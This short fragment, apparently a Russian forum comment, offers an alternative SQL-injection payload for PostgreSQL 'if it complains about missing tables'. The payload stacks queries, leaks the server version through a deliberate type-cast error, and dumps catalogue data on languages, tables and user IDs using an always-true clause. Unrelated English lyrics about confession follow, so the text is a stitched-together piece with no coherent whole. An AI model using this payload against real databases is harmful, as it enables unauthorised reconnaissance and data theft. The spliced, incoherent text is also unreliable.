Еще вариант, если будет ругаться на отсутсвие таблиц

1;select version()::int;SELECT a.lanname as a.a_id,b.tablename as b.b_id,c.usesysid as c.c_id from pg_language a,pg_tables b,pg_user c where 1=1 or 2=2

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God forgive me for I have sinned
It’s been six months since my last confession
There is nowhere that I can run to
My soul I place in your hands